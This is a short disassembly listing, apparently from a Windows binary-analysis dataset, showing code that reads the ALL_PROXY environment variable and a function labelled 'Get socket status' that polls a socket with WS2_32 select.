jmp 0x40c288
lea rcx, str.ALL_PROXY
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c360
lea rcx, str.ALL_PROXY
jmp 0x40c2d9
lea r8, [0x005d1c03]
mov edx, 0x2714
mov rcx, r12
call rbx
jmp 0x40c248
Function at 0x40dbc0
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x48], rcx
add ecx, 1
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
cmp byte [rax], 0
je 0x40dbd8
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x40a6c0